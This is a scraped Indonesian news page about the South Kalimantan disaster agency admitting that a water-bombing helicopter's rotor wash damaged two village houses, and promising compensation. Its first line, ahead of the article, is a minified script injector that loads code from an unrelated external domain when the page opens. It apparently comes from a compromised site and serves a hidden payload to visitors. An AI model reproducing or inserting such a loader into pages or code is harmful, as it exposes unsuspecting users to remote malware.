(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Ganti Rugi Kerusakan 2 Rumah Warga, BPBD Kalsel: Kelalaian Pilot Heli Bombing


MARTAPURA, Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) mengakui rusaknya atap rumah warga di desa Keramat Telok Selong, Kecamatan Martapura Timur, Kabupaten Banjar, akibat angin dari baling-baling helikopter water bombing dan kesalahan pilot.

Menurut Kepala Pelaksana BPBD Kalsel, Wahyuddin, BPBD Kalsel melalui BPBD Kabupaten Banjar akan mengintruksikan untuk melakukan ganti rugi secepat mungkin terhadap pemilik rumah yang atapnya berdampak sehingga rusak parah.

Menurutnya waktu itu, pilot masih belum mengetahui secara detail mengenai kondisi perumahan warga yang bermukim di bantaran sungai Martapura. Selain itu pilot yang didatangkan dari pusat belum sempat mempelajari titik koordinat yang sudah ditentukan oleh Satgas Karhutla. Sehingga saat terjadi Karhutla di wilayah Kabupaten Banjar, dengan kondisi yang parah dan hampir mendekati rumah warga, pilot langsung memutuskan untuk mengambil air di tempat tersebut.

“Sebelumnya saya mewakili tim Satgas Karhutla meminta maaf atas musibah yang menimpa warga di desa Keramat. Ini bukan kesalahan yang disengaja, waktu itu karena tim memang sudah terdesak, titik api yang terjadi sudah mendekati rumah warga, makanya memutuskan untuk mengambil air di dekat pemukiman,” jelasnya.

Selain faktor tiupan angin baling-baling heli dan pilot yang masih tidak menguasai lapangan, Wahyuddin menilai waktu yang mepet pada sore mendekati malam itu juga menjadi faktor lainnya. Karena apabila hari sudah mulai gelap maka heli water Bombing diperintahkan untuk kembali ke pangkalan udara.

“Waktu itu kejadiannya sore sekali, mendekati Magrib, sehingga mepet waktunya kalau heli itu mencari sungai yang minim pemukiman penduduk, heli itu tidak lagi difungsikan malam hari karena tidak dilengkapi lampu penerang,” bebernya.

Berdasarkan info yang diterima Kanalkalimantan.com, hingga Selasa (20/8) sudah ada 2 rumah warga yang rusak akibat tiupan angin baling-baling heli water booming ini. (rendy)

Reporter : Rendy
Editor : Bie

 


Desy Arfianty

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

1 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

1 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

2 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

3 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

4 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

4 jam ago

This website uses cookies.